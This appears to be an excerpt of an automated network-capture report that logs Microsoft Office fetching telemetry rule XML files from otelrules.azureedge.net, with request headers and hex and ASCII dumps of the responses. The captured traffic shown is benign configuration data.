2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 26663d07-401e-0029-2faf-319b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-16547b76f7f775p5hC1DFWzdvn0000000hf0000000006zaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:12 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:12 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-16547b76f7f7scqbhC1DFW0m5w0000000h6g00000000tugu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:12 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-16547b76f7fkcrm9hC1DFWxdag0000000he000000000wxw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 47cde2a8-501e-0047-01a2-34ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-1749fc9bdbdmg6wshC1DFWu2bc00000001d0000000005s5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:12 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-r178fb8d765cgqv6hC1DFWsdr400000001c0000000007c30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:12 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: b74af8a2-301e-0051-7859-3538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-1749fc9bdbdv5qmhhC1DFWf75800000001cg0000000070ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-16547b76f7f9rdn9hC1DFWfk7s0000000hf00000000062kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 42046764-d01e-0028-78a2-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-r178fb8d7655k45rhC1DFWpsgg000000015000000000tzyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:12 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: ad5ef595-c01e-0082-42a3-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170812Z-r178fb8d7657w5c5hC1DFW5ngg00000001f0000000007h80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:13 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:13 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:13 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170813Z-16547b76f7fp46ndhC1DFW66zg0000000hfg00000000cuuu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
